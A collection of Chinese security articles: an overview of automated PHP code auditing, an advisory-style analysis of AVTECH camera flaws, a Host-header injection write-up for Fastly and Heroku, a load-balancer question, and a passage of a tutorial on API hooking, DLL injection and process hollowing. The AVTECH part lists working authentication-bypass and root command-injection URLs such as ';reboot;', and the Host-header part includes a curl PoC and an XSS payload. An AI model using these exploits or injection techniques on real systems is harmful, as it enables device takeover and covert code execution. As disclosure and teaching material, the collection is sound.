Web应用的输入，可以是请求的参数（GET、POST等）、上传的文件、Cookie、数据库数据等用户可控或者间接可控的地方。
例如PHP中的 `$_GET` / `$_POST` / `$_REQUEST` / `$_COOKIE` / `$_FILES` / `$_SERVER`
等，都可以作为应用的输入。
## 1.2 处理函数 (Filter)
处理函数是对数据进行过滤或者编解码的函数。这些函数会对输入造成影响，为漏洞利用带来不确定性。
同样以PHP为例，这样的函数可能是 `mysqli_real_escape_string` / `htmlspecialchars` /
`base64_encode` / `str_rot13` 等，也可能是应用自定义的过滤函数。
## 1.3 危险函数 (Sink)
危险函数又常叫做Sink Call、漏洞点，是可能触发危险行为如文件操作、命令执行、数据库操作等行为的函数。
在PHP中，可能是 `include` / `system` / `echo` 等。
## 1.4 问题定义
一般认为一个漏洞的触发过程是从输入经过过滤到危险函数的过程(Source To
Sink)，而自动化审计就是寻找这个链条的过程。自动化审计的难点主要在于以下几个方面。
### 1.4.1 输入多样化
对Web应用来说，可能的输入可以来自GET/POST的参数、Cookie、Url等多个地方，这些输入格式不固定，输入空间很大。
### 1.4.2 过滤函数复杂
在审计的过程中，从输入没有经过任何过滤函数就到达危险函数的过程较少。但是自动化判断一些过滤数是否可以绕过较为困难。
### 1.4.3 代码本身的复杂度
现代Web框架，代码复杂度极高，有相当多的动态加载和调用的过程，为自动化分析带来了困难。
# 2\. 技术基础
## 2.1 抽象语法树
抽象语法树，顾名思义，是一种树形的数据结构。构造AST树的基本方法是将表达式的操作数作为树结构的叶子，将表达式的操作符号作为树结构的根，依次循环迭代进行构造。
例如在JavaScript中， `a=1` 的抽象语法树如下：
{
"type": "Program",
"body": [
{
"type": "ExpressionStatement",
"expression":
{
"type": "AssignmentExpression",
"operator": "=",
"left":
{
"type": "Identifier",
"name": "a"
},
"right":
{
"type": "Literal",
"value": 1,
"raw": "1"
}
}
}],
"sourceType": "script"
}
## 2.2 程序控制流图
AST树依旧是比较高层次的形式，其中模块之间的调用、循环等依旧不利于数据流的处理，因此引入了更底层的程序控制流图来进行分析。
程序控制流图(Control Flow
Graph，CFG)是静态分析过程中的另一种状态，可以反映程序代码控制流程。其实，程序控制流图是由一个入口、若干个出口组成的有向图，图中的每一个节点代表一个基本块，基本块中可以有一系列顺序执行的语句；图中的有向边，代表从出发节点到目标节点的控制依赖关系。
# 3\. 解决方案
## 3.1 危险函数匹配
白盒审计最常见的方式是通过查找危险函数来定位漏洞，比较有代表性的工具是Seay开发的审计工具。这个工具直接找出所有危险函数的位置，这种方式没有对调用流程进行深入分析，相对误报率会比较高。
不过同样的，这种方式在一些环境下能做到几乎无漏报，只要审计者有耐心，可以发现应用大部分的漏洞，但是在高度框架化的代码中，这种方式能找到的漏洞相对有限。
## 3.2 代码相似性比对
一些开发者会复制其他框架的代码，或者使用各种框架。如果事先有建立对应的漏洞图谱，则可使用相似性方法来找到漏洞。
## 3.3 控制流分析
在2012年，Dahse
J等人设计了RIPS，该工具引入AST进行数据流与控制流分析，结合过程内与过程间的分析得到审计结果，相对危险函数匹配的方式来说误报率少了很多，但是同样的也增加了开销。RIPS初始的版本开放源代码，而后闭源进行商业化。
## 3.4 基于图的分析
基于图的分析是对控制流分析的一个改进，其利用CFG的特性和图计算的算法，一定程度上简化了计算，比较有代表性的是微软的Semmle QL和NDSS
2017年发表的文章Efficient and Flexible Discovery of PHP Application Vulnerabilities。
## 3.5 灰盒分析
基于控制流的分析开销较大，于是有人提出了基于运行时的分析方式，对代码进行Hook，当执行到危险函数时自动回溯输入，找到输入并判断是否可用。
这种方式解决了控制流分析实现复杂、计算路径开销大的问题，在判断过滤函数上也有一定的突破，但是灰盒的方式并不一定会触发所有的漏洞。fate0大佬开发的prvd就是基于这种设计思路。
# 4\. 参考资料
* [1] RIPS <https://github.com/ripsscanner/rips>
* [2] prvd <https://github.com/fate0/prvd>
* [3] PHP运行时漏洞检测 <http://blog.fatezero.org/2018/11/11/prvd/>
* [4] Cobra <https://github.com/FeeiCN/cobra>
* [5] Semmle QL <https://github.com/Semmle/ql>
* [6] Vulnerability hunting with Semmle QL <https://blogs.technet.microsoft.com/srd/2018/08/16/vulnerability-hunting-with-semmle-ql-part-1/>
* [7] Backes M , Rieck K , Skoruppa M , et al. Efficient and Flexible Discovery of PHP Application Vulnerabilities[C]// IEEE European Symposium on Security & Privacy. IEEE, 2017.
* [8] Dahse J. RIPS-A static source code analyser for vulnerabilities in PHP scripts[J]. Retrieved: February, 2010, 28: 2012.
* [9] awesome static analysis <https://github.com/mre/awesome-static-analysis>
# 5\. 结语
在学习自动化审计的过程中做了一点整理，于是形成了这篇文章，水平有限，这篇文章讲得也比较浅。之后有机会再就各个技术的细节做进一步分析，不当之处还请各位师傅不吝指出。 | 社区文章 |
Author： **光棍节**
AVTECH是一家台湾的视频监控设备制造商，公司成立于1996年，是世界领先的闭路电视制造商之一，主要产品有监控设备，网络摄像机，网络录像机等。
近日，匈牙利安全公司 Search-Lab
发表了一份公告详细的披露了AVTECH监控产品存在的14个漏洞，事实上早在一年之前，该公司就先后4次尝试向AVTECH公司通报发现的漏洞，但是均没有收到回应，该公司于一周之前公布了整个漏洞的详情。
### 漏洞详情：
由于很多设备可以直接通过公网IP地址访问，所以影响较大，本文详细的分析漏洞的成因和利用方式。
#### 1、 未经身份验证的信息泄露
由于/cgi-bin/nobody目录下的CGI脚本文件运行权限设置不合理，导致可以在未认证的情况下直接运行，此类型漏洞已经在多个设备中出现，斐讯K1就是因为cgi文件执行权限限制不合理，导致可以直接获取路由器的所有配置信息。
攻击链接示例：
http://<device_ip>/cgi-bin/nobody/Machine.cgi?action=get_capability
获取摄像头的设备信息。
#### 2、DVR设备存在着无需用户登录的ssrf漏洞
在DVR设备中，Search.cgi可以直接被访问，Search.cgi负责搜索和访问本地网络中的摄像头，Search.cgi提供了cgi_query功能，通过设置ip，port和queryb64str三个参数可以实现直接访问本地网络中的摄像头。
利用实例构造如：
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=scan
获取局域网中所有的摄像头的配置信息。
#### 3、DVR设置存在着无需用户登录的命令执行漏洞
Search.cgi中提供的cgi_query功能是通过wget功能实现HTML请求，但是由于对参数没有验证和过滤，可以通过构造参数实现root权限的任意系统命令的执行。
实例链接如下：
http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20'{print%20"/tmp/"$1".log"}');&password=admin
#### 4、认证绕过漏洞
可以通过两种方式实现认证绕过:
第一种是.cab方式，cab格式文件是视频播放器插件，存储在web的根目录下，它可以无需验证直接被访问和下载，而设备端只是通过strstr函数查找链接中是否存在.cab字段，如果含有就直接认为免认证。
第二种是nobody方法，同样由于设备端只是通过strstr函数去查找链接中是否存在nobody字段，如果有就直接免认证。
两种方式的链接可以如下，.cab和/nobody可以放在链接中的其他地方，获取设备的配置信息，其中包括登录的用户名和密码。
http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*
http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*
#### 5、web根目录下任意文件下载
由于.cab字符串是通过strstr方法验证的，那么可以通过在文件名称末尾加上?.cab实现文件下载。作者类推的实验了一下在链接后加上?/nobody，也可以下载文件，漏洞的原因相同。
实例链接：
http://<device_ip>/cgi-bin/cgibox?.cab
http://<device_ip>/cgi-bin/cgibox?/nobody
#### 6、登录验证码绕过
设备在登录时通过增加验证码方式防止暴力猜解用户名和密码，但是由于系统设计的不合理，可以通过增加login=quick直接绕过。 链接格式如下：
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick
如果没有采用quick方式的话，链接的格式如下：
http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&captcha_code=ZVFU&verify_code=ZVmHTLN5eiGB
由于`captcha_code`和`verify_code`是配套的，我们可以通过人工设置使他们保持一致同样可以绕过验证码验证，从而暴力猜解用户名和密码。
#### 7、认证后的多个任意命令执行漏洞
**第一个**
：设备通过CloudSetup.cgi支持Avtech云服务，在登录认证通过之后，由于没有对参数进行验证，可以通过exefile参数以root权限执行任意命令。
http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps
**第二个**
：部分设备支持ActionD命令，通过adcommand.cgi文件实现，新版本设备的ActionD提供了DoShellCmd功能，在认证通过之后，由于没有对参数进行验证，可以以root权限执行任意命令。此功能需要以post方式实现，其中cookie中的SSID为用户名和密码的base64值。
POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1
Host: <device_ip>
Content-Length: 23
Cookie: SSID=YWRtaW46YWRtaW4=
DoShellCmd "strCmd=ps&"
**第三个** ：PwdGrp.cgi文件在增加用户或者修改用户时，由于没有对参数进行验证，可以同时以root权限执行其他命令。
http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN
#### 8、其他安全漏洞
**第一个**
：使用没有认证证书的Https服务。系统中的`SyncCloudAccount.sh`，`QueryFromClient.sh`和`SyncPermit.sh`使用wget去访问https网站，如https://payment.eagleeyes.tw
等。由于没有证书验证，此https通信可能遭受中间人攻击。
**第二个** ：密码明文存储。容易被攻击轻易获取所有的用户登录密码等敏感信息。
**第三个** ：CSRF漏洞。设备没有任何防CSRF攻击的措施，当管理员正登录时，可能受到CSRF攻击。
### 补救措施：
在shadon上搜索关键词“Avtech”，有超过13万个设备暴露在互联网中，当前avtech关键词搜索已经成为shadon上排名第二的热词，由于厂商目前还没有提供固件更新，所以建议大家采取如下措施来保护：
1、修改默认的登录密码； 2、限制用户通过公网访问设备的web功能。
### 参考资料：
* http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities
* https://github.com/ebux/AVTECH
* http://www.securityweek.com/serious-flaws-expose-avtech-devices-iot-botnets
* https://www.seebug.org/vuldb/ssvid-92491
* https://www.seebug.org/vuldb/ssvid-92492
* https://www.seebug.org/vuldb/ssvid-92493
* https://www.seebug.org/vuldb/ssvid-92494
* * * | 社区文章 |
原文：[detectify lab](https://labs.detectify.com/2016/10/24/combining-host-header-injection-and-lax-host-parsing-serving-malicious-data/)
译: **Holic (知道创宇404安全实验室)**
**TL;DR** , Internet Explorer 曾经有个这么个 bug，允许攻击者使受害者发送带有恶意 Host
头的请求。[文件描述符](http://blog.innerht.ml/internet-explorer-has-a-url-problem/)曾经用它窃取 GitHub 的 OAuth token，我们用它来混淆 Heroku 和Fastly 的 host
路由，使他们能够在他们客户的域名下提供我们的内容。Fastly 和 Heroku 从那以后就已修复了自身的问题。
### Internet Explorer/Edge malformed Host-header
Internet Explorer/Edge 的 bug 就像下面这样（从恶意链接）进行重定向。
HTTP/1.1 307 Redirect
Location: https://www.drupal.org%2f.to.to
这将会导致 Internet Explorer/Edge 发送如下请求至 **www.drupal.org** ：
GET /.to.toto/ HTTP/1.1
Host: www.drupal.org/.to.to
### Heroku/Fastly
既然 Heroku 和 Fastly 平台都存在过对 `Host` 头解析不严的情况。这意味着即使 `/`字符在 header 中，它们仍然认为 host
是属于 `.to.to`的子域名。这便使得在此服务上将`*.to.to`设为你自己的域名是可行的。将`.to.to`的所有子域名指向恶意内容，然后利用
Internet Explorer/Edge 的 bug，在绑定到 Heroku/Fastly 域名的平台上启动恶意内容服务。
### PoC
流程如下所示：
1. 创建进行恶意重定向的链接发送给受害者
2. 重定向的链接将会在 Internet Explorer/Edge 上创建畸形 Host 头。解析结果会变为指向 Fastly/Heroku 的原始域(本例是 www.drupal.org)。
3. Fastly/Heroku 将会处理Host头将其解析为错误的域名，在本例中是通配符 `*.to.to`
4. Fastly/Heroku 然后会返回我们的域名中的数据，即使浏览器解析的域名依然是 Fastly/Heroku 的客户所有。
下面可以更清晰的看到域名解析情况：
$ host www.drupal.org
www.drupal.org is an alias for j.global-ssl.fastly.net.
它正指向 Fastly。 然后我们使用 cURL 创建如下测试请求：
curl -H 'Host: www.drupal.org/.to.to' https://www.drupal.org/
便得到了以下返回信息：
<script>alert(document.domain)</script>
这是因为我们在 Fastly 声明了 `*.to.to`，提供以我们的PoC为内容的简单应用服务。
现在我们发送下述链接至受害者：
https://avlidienbrunn.se/redirect.php?redirect=https://www.drupal.org%252f.to.to
将会给我们下面的重定向响应：
HTTP/1.1 307 Redirect
Location: https://www.drupal.org%2f.to.to
这将使 Internet Explorer/Edge 浏览器发送如下 `Host`头：
Host: www.drupal.org/.to.to
与无效化请求相反，这两个服务实际会将 host 头处理为`*.to.to`的子域名,提供我们可控的内容服务。
这意味着不严谨的 host 解析和 Internet Explorer/Edge 的 bug
将允许我们对使用这两个服务的客户进行内容欺骗。我们可以提供任何我们想要的内容服务，或者甚至根据[同源策略](https://en.wikipedia.org/wiki/Same-origin_policy)( SOP )创建认证请求来劫持当前用户，
微软先前被通知过两次关于 Host 头注入攻击的事，他们修复了一次，但是版本的回归拟合使其再生枝节。
### 影响
基本所有使用中间无代理的 Heroku 和 Fastly 服务都会受到漏洞影响。而能够利用此漏洞的只有 Internet Explorer 和 Edge
浏览器。在那段时间里，[Safari
浏览器出现过类似的问题](http://www.mbsd.jp/blog/20160921_2.html)（对应中文版：[Safari
URL重定向漏洞利用分析](http://paper.seebug.org/51/) ），但源是置空的，因此 SOP 限制了我们不能做额外的请求。尽管在
Safari 上内容提取是有效的，解析后的页面只有我们自己的内容，这就使得 Safari 的 bug 没有太大意义了。
### 漏洞时间线
* June 16 – Reported to both Fastly and Heroku
* June 21 – Triaged by Fastly
* June 28 – Patch is deployed by Fastly
* June 30 – Triaged by Heroku
* July 7 – Additions to the patch added
* September X – Host header injection in Internet * Explorer/Edge patched by Microsoft
* October 20 – Final patches added by Heroku
* * * | 社区文章 |
一般来说，负载均衡服务器会在web服务器前。假设web服务器为nginx。那从web服务器的角度来说，所有请求都是从负载均衡服务器那边来的，也就是源IP是负载均衡服务器的。web服务器如果要根据IP限制访问的话，就只能根据HTTP头吧。我这么理解正确么？ | 社区文章 |
# 从概念到实际应用：详细讲解用户级API监控和代码注入检测方法
##### 译文声明
本文是翻译文章，文章原作者 dtm，文章来源：0x00sec.org
原文地址：<https://0x00sec.org/t/userland-api-monitoring-and-code-injection-detection/5565>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在当今，网络犯罪分子致力于开发恶意软件，并用于感染主机以执行特定的活动。考虑到目前反病毒软件能力的不断提升，这些恶意软件也必须保持较强的存活能力，必须要在暗中进行操作，以避免被反病毒软件和系统管理员觉察。在众多方法之中，代码注入是一个保证隐蔽性的较好方法。
本文主要描述恶意软件及其与Windows应用程序编程接口（WinAPI）交互的相关研究成果，详细介绍恶意软件是如何将恶意Payload植入其他进程，以及如何通过监控Windows操作系统的通信来检测此类行为。关于监控API调用的这一概念，在本文中也将会通过对特定函数进行Hook的过程来向大家展现，并且该概念将用于实现代码注入。
由于时间有限，我们以非常快的速度完成了该项目的研究，因此如果本文中有任何疏漏或错误之处，希望大家能够谅解，并期待各位的指正。此外，本文附带的代码可能会存在一些未知的设计缺陷，请各位自行参考。
## 二、相关概念
### 2.1 Inline Hooking
内联挂钩（Inline
Hooking）是通过热补丁（Hotpatching）的方式绕开代码流的行为。在这里，热补丁是指在可执行映像运行期间对代码进行修改。之所以使用内联挂钩的方式，是为了能够捕获程序在何时调用函数的实例，以进行监控或实现调用。以下是一次函数调用正常执行的过程：
Normal Execution of a Function Call
+---------+ +----------+
| Program | ----------------------- calls function -----------------------------> | Function | | execution
+---------+ | . | | of
| . | | function
| . | |
| | v
+----------+
与执行一个挂钩后的函数相比：
Execution of a Hooked Function Call
+---------+ +--------------+ + -------> +----------+
| Program | -- calls function --> | Intermediate | | execution | | Function | | execution
+---------+ | Function | | of calls | . | | of
| . | | intermediate normal | . | | function
| . | | function function | . | |
| . | v | | | v
+--------------+ ------------------+ +----------+
该过程可以分为三个步骤。我们在这里，以WinAPI函数MessageBox为例，演示此过程。
(1) 对函数进行挂钩
想要挂钩（Hook）函数，我们首先需要一个中间函数，它必须能够复制目标函数的参数。在MSDN中对MessageBox的定义如下：
int WINAPI MessageBox(
_In_opt_ HWND hWnd,
_In_opt_ LPCTSTR lpText,
_In_opt_ LPCTSTR lpCaption,
_In_ UINT uType
);
所以，我们的中间函数可以这样定义：
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
// our code in here
}
一旦存在，执行流就会重定向到代码中的特定位置。如果想要真正对MessageBox函数进行挂钩，我们可以修补代码的前几个字节（请注意，必须要对原始字节进行记录，以便在中间函数完成时能够恢复该函数）。以下是该函数的原始汇编指令，如该函数的相应模块user32.dll中所示：
; MessageBox
8B FF mov edi, edi
55 push ebp
8B EC mov ebp, esp
与挂钩后的函数相比：
; MessageBox
68 xx xx xx xx push <HookedMessageBox> ; our intermediate function
C3 ret
在这里，我选择了PUSH和RET的组合，而没有选择JMP，这是基于我之前的经验，前者会有更强的隐蔽性。其中的xx xx xx
xx表示HookedMessageBox的小字节序顺序地址（Little-Endian Byte-Order Address）。
(2) 捕获函数调用
当程序调用MessageBox时，它将执行PUSH-RET并会成功跳入HookedMessageBox函数。一旦完成，程序就会完全控制参数和调用本身。如果想替换在消息对话框中所显示的文本，可以在HookedMessageBox中定义如下内容：
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
TCHAR szMyText[] = TEXT("This function has been hooked!");
}
其中，szMyText可以用来替换MessageBox的LPCTSTR lpText参数。
(3) 恢复正常执行
要转发此参数，执行过程需要回到原始的MessageBox，以让操作系统可以显示该对话框。如果现在再次调用MessageBox，会导致无限递归（死循环），因此我们必须要恢复原始字节（如前所述）。
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
TCHAR szMyText[] = TEXT("This function has been hooked!");
// restore the original bytes of MessageBox
// ...
// continue to MessageBox with the replaced parameter and return the return value to the program
return MessageBox(hWnd, szMyText, lpCaption, uType);
}
如果需要拒绝调用MessageBox，方法也非常简单，就像返回一个值一样，但这个值最好是在文档中定义过的。例如，想要从”是/否”对话框中返回”否”选项的值，其中间函数可以是：
int WINAPI HookedMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
return IDNO; // IDNO defined as 7
}
### 2.2 API监控
在了解函数挂钩以后，我们紧接着讲解API监控的概念。我们有能力获得对函数调用的控制，同时也可以对所有参数进行监控，也就是标题所说的API监控。但是，还存在一个小问题，是由不同级别的API调用可用性导致的，尽管这些调用是唯一的，但在较低级别会使用相同的一组API。这就称为函数包装（Function
Wrapping），定义为用于调用次级子程序的子程序。让我们回到MessageBox的示例，其中有两个定义的函数：MessageBoxA用于包含ASCII字符的参数，MessageBoxW用于包含宽字符的参数。实际上，如果我们要对MessageBox进行挂钩，就必须要同时修补MessageBoxA和MessageBoxW。要解决这一问题，我们需要尽可能在函数调用层次（Call
Hierarchy）结构的最低公共点位置进行挂钩。
+---------+
| Program |
+---------+
/
| |
+------------+ +------------+
| Function A | | Function B |
+------------+ +------------+
| |
+-------------------------------+
| user32.dll, kernel32.dll, ... |
+-------------------------------+
+---------+ +-------- hook -----------------> |
| API | <---- + +-------------------------------------+
| Monitor | <-----+ | ntdll.dll |
+---------+ | +-------------------------------------+
+-------- hook -----------------> | User mode
----------------------------------------------------- Kernel mode
以下是MessageBox调用层次结构：
MessageBoxA：
user32!MessageBoxA -> user32!MessageBoxExA -> user32!MessageBoxTimeoutA -> user32!MessageBoxTimeoutW
MessageBoxW：
user32!MessageBoxW -> user32!MessageBoxExW -> user32!MessageBoxTimeoutW
上述的调用层次，都将汇入MessageBoxTimeoutW，这是一个挂钩的绝佳位置。在这里要特别指出，对于具有更深层次结构的函数，由于函数参数的复杂程度有所增加，对较低位置的值进行挂钩可能会产生一些问题。MessageBoxTimeoutW是一个没有出现在文档中的WinAPI函数（Undocumented
WinAPI Function），其定义如下：
int WINAPI MessageBoxTimeoutW(
HWND hWnd,
LPCWSTR lpText,
LPCWSTR lpCaption,
UINT uType,
WORD wLanguageId,
DWORD dwMilliseconds
);
其用法如下：
int WINAPI MessageBoxTimeoutW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType, WORD wLanguageId, DWORD dwMilliseconds) {
std::wofstream logfile; // declare wide stream because of wide parameters
logfile.open(L"log.txt", std::ios::out | std::ios::app);
logfile << L"Caption: " << lpCaption << L"n";
logfile << L"Text: " << lpText << L"n";
logfile << L"Type: " << uType << :"n";
logfile.close();
// restore the original bytes
// ...
// pass execution to the normal function and save the return value
int ret = MessageBoxTimeoutW(hWnd, lpText, lpCaption, uType, wLanguageId, dwMilliseconds);
// rehook the function for next calls
// ...
return ret; // return the value of the original function
}
当挂钩被放入MessageBoxTimeoutW中之后，MessageBoxA和MessageBoxW就都可以被捕获了。
### 2.3 代码注入入门
就本文而言，我们所讲解的”代码注入”是指将可执行代码插入到外部进程中。在WinAPI中，允许了一些功能，从而让代码注入成为了可能。在某些函数的共同作用下，我们可以访问现有进程，向其中写入数据，并且在其上下文中进行远程执行。在本节中，我们将介绍研究中涉及到的相关代码注入技术。
#### 2.3.1 DLL注入
关于代码注入，代码可以是各种形式，其中之一就是动态链接库（DLL）。DLL是用来为可执行程序提供扩展功能的库，通过导出子程序的方式我们就可以使用该程序。下面是一个DLL示例，下文中都将以此为例：
extern "C" void __declspec(dllexport) Demo() {
::MessageBox(nullptr, TEXT("This is a demo!"), TEXT("Demo"), MB_OK);
}
bool APIENTRY DllMain(HINSTANCE hInstDll, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH)
::CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)Demo, nullptr, 0, nullptr);
return true;
}
当一个DLL被加载到进程并初始化时，加载程序将会调用Dllmain，并将fdwReason设置为DLL_PROCESS_ATTACH。在这个例子中，当它被加载到进程中时，会通过Demo子例程来显示一个消息框，其标题为”Demo”，文本内容为”This
is a demo!”。要正确完成DLL的初始化，它必须返回True，否则就会被卸载。
2.3.1.1 CreateRemoteThread
通过CreateRemoteThread函数的DLL注入会利用此函数在另一个进程的虚拟空间中执行远程线程（Remote
Thread）。如上所述，我们要执行DLL，只需要通过强制执行LoadLibrary函数来将其加载到进程中。以下代码可以完成此操作：
void injectDll(const HANDLE hProcess, const std::string dllPath) {
LPVOID lpBaseAddress = ::VirtualAllocEx(hProcess, nullptr, dllPath.length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
::WriteProcessMemory(hProcess, lpBaseAddress, dllPath.c_str(), dllPath.length(), &dwWritten);
HMODULE hModule = ::GetModuleHandle(TEXT("kernel32.dll"));
LPVOID lpStartAddress = ::GetProcAddress(hModule, "LoadLibraryA"); // LoadLibraryA for ASCII string
::CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
在MSDN中，对LoadLibrary的定义如下：
HMODULE WINAPI LoadLibrary(
_In_ LPCTSTR lpFileName
);
该定义使用了一个参数，即要加载的所需库的路径名称。CreateRemoteThread函数允许将一个参数传递到与LoadLibrary的函数定义完全匹配的线程例程。其目标是在目标进程的虚拟地址空间中分配字符串参数，然后将分配的空间地址传递给CreateRemoteThread的参数中，以便调用LoadLibrary来加载DLL。
(1) 在目标进程中分配虚拟内存
使用VirtualAllocEx可以允许在选定的进程哪分配空间，一旦成功，会返回分配内存的起始地址。
Virtual Address Space of Target Process
+--------------------+
| |
VirtualAllocEx +--------------------+
Allocated memory ---> | Empty space |
+--------------------+
| |
+--------------------+
| Executable |
| Image |
+--------------------+
| |
| |
+--------------------+
| kernel32.dll |
+--------------------+
| |
+--------------------+
(2) 将DLL路径写入分配的内存
一旦内存被初始化，DLL的路径可以被注入到VirtualAllocEx使用WriteProcessMemory返回的分配内存中。
Virtual Address Space of Target Process
+--------------------+
| |
WriteProcessMemory +--------------------+
Inject DLL path ----> | "....myDll.dll" |
+--------------------+
| |
+--------------------+
| Executable |
| Image |
+--------------------+
| |
| |
+--------------------+
| kernel32.dll |
+--------------------+
| |
+--------------------+
(3) 获取LoadLibrary的地址
由于所有系统DLL都映射到所有进程的相同地址空间，因此LoadLibrary的地址不必直接从目标进程中检索，只需调用GetModuleHandle(TEXT(“kernel32.dll”))和GetProcAddress(hModule,
“LoadLibraryA”)即可完成这项工作。
(4) 加载DLL
如果要加载DLL，就需要LoadLibrary的地址和DLL的路径。此时使用CreateRemoteThread函数，LoadLibrary会在目标进程的上下文中以DLL路径作为参数执行。
Virtual Address Space of Target Process
+--------------------+
| |
+--------------------+
+--------- | "....myDll.dll" |
| +--------------------+
| | |
| +--------------------+ <---+
| | myDll.dll | |
| +--------------------+ |
| | | | LoadLibrary
| +--------------------+ | loads
| | Executable | | and
| | Image | | initialises
| +--------------------+ | myDll.dll
| | | |
| | | |
CreateRemoteThread v +--------------------+ |
LoadLibraryA("....myDll.dll") --> | kernel32.dll | ----+
+--------------------+
| |
+--------------------+
2.3.1.2 SetWindowsHookEx
在Windows中，通过SetWindowsHookEx函数为开发人员提供了通过安装钩子来监视某些事件的功能。虽然这一功能经常被用于监控键盘输入并记录，但它其实也能用于注入DLL。以下代码演示了如何向其自身注入DLL：
int main() {
HMODULE hMod = ::LoadLibrary(DLL_PATH);
HOOKPROC lpfn = (HOOKPROC)::GetProcAddress(hMod, "Demo");
HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, lpfn, hMod, ::GetCurrentThreadId());
::PostThreadMessageW(::GetCurrentThreadId(), WM_RBUTTONDOWN, (WPARAM)0, (LPARAM)0);
// message queue to capture events
MSG msg;
while (::GetMessage(&msg, nullptr, 0, 0) > 0) {
::TranslateMessage(&msg);
::DispatchMessage(&msg);
}
return 0;
}
MSDN中定义的SetWindowsHookEx如下：
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
在这里，需要一个HOOKPROC参数，该参数是触发特定挂钩事件时执行的用户定义的回调子例程。在这种情况下，事件是WH_GETMESSAGE，它负责处理消息队列中的消息。该代码最初将DLL加载到其自身的虚拟进程空间中，并且导出的Demo函数的地址将被获取并定义为调用SetWindowsHookEx中的回调函数。为了强制回调函数执行，使用了消息WM_RBUTTONDOWN调用PostThreadMessage，这样就能触发WH_GETMESSAGE钩子，从而显示消息框。
2.3.1.3 QueueUserAPC
使用QueueUserAPC的DLL注入与CreateRemoteThread类似，都是分配DLL路径并注入到目标进程的虚拟地址空间，然后在其上下文中强制调用LoadLibrary。
int injectDll(const std::string dllPath, const DWORD dwProcessId, const DWORD dwThreadId) {
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, false, dwProcessId);
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, false, dwThreadId);
LPVOID lpLoadLibraryParam = ::VirtualAllocEx(hProcess, nullptr, dllPath.length(), MEM_COMMIT, PAGE_READWRITE);
::WriteProcessMemory(hProcess, lpLoadLibraryParam, dllPath.data(), dllPath.length(), &dwWritten);
::QueueUserAPC((PAPCFUNC)::GetProcAddress(::GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA"), hThread, (ULONG_PTR)lpLoadLibraryParam);
return 0;
}
其与CreateRemoteThread之间的一个主要区别是，QueueUserAPC能在可报警状态（Alertable
State）下运行。由QueueUserAPC进行排队的异步过程仅在线程进入此状态时才进行处理。
#### 2.3.2 Process Hollowing
Process
Hollowing，也称RunPE，适用于逃避反病毒检测的一种常用方式。该方式允许将整个可执行文件的注入部分加载到目标进程中，并在其上下文中执行。通常我们可以在加密的应用程序中看到，与Payload相兼容的磁盘上文件会被选为主文件，并创建为进程，其主要可执行模块会被替换。该过程可以分为下述四个阶段。
(1) 创建主进程
为了注入Payload，引导程序必须会首先找到合适的主文件。如果Payload是.NET应用程序，那么主文件也必须是.NET应用程序。如果Payload是定义为使用控制台子系统的本地可执行文件，那么主文件也必须有相同的属性。这一原则在x86和x64程序时都要满足。一旦选择了主文件，随后便会使用CreateProcess(PATH_TO_HOST_EXE,
…, CREATE_SUSPENDED, …)将其作为挂起的进程创建。
Executable Image of Host Process
+--- +--------------------+
| | PE |
| | Headers |
| +--------------------+
| | .text |
| +--------------------+
CreateProcess + | .data |
| +--------------------+
| | ... |
| +--------------------+
| | ... |
| +--------------------+
| | ... |
+--- +--------------------+
(2) 对主进程的Hollowing
为了让Payload能在注入后正常工作，必须要将其映射到虚拟地址空间，该虚拟地址空间要与在Payload
PE头部的可选头中找到的ImageBase值相匹配。
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint; // <---- this is required later
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase; // <----
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage; // <---- size of the PE file as an image
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
